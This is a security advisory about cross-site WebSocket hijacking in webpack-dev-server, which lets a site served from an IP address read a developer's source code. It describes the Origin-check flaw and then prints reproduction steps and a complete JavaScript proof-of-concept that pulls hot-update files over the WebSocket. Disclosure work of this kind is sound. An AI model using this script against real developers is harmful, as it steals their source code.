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GHSA-9jgg-88mc-972h

MediumCVSS 6.5 / 10
Published Jun 4, 2025·Last modified Feb 4, 2026
Affected Components(0)

No affected components available

Description

Summary

Source code may be stolen when you access a malicious web site with non-Chromium based browser.

Details

The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address Origin headers. https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127 This allows websites that are served on IP addresses to connect WebSocket. By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.

related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.

This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.

PoC

  1. Download reproduction.zip and extract it
  2. Run npm i
  3. Run npx webpack-dev-server
  4. Open http://{ipaddress}/?target=http://localhost:8080&file=main with a non-Chromium browser (I used Firefox 134.0.1)
  5. Edit src/index.js in the extracted directory
  6. You can see the content of src/index.js

image

The script in the POC site is:

window.webpackHotUpdate = (...args) => {
    console.log(...args);
    for (i in args[1]) {
        document.body.innerText = args[1][i].toString() + document.body.innerText
	    console.log(args[1][i])
    }
}

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
    console.log(event.data);
    if (event.data.match('"type":"ok"')) {
        s = document.createElement('script');
        s.src = `${target}${file}.${currentHash2}.hot-update.js`;
        document.body.appendChild(s)
    }
    r = event.data.match(/"([0-9a-f]{20})"/);
    if (r !== null) {
        currentHash2 = currentHash;
        currentHash = r[1];
        console.log(currentHash, currentHash2);
    }
}

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.

Risk Scores
Base Score
6.5

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information.

Threat Intelligence
6.0

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.29%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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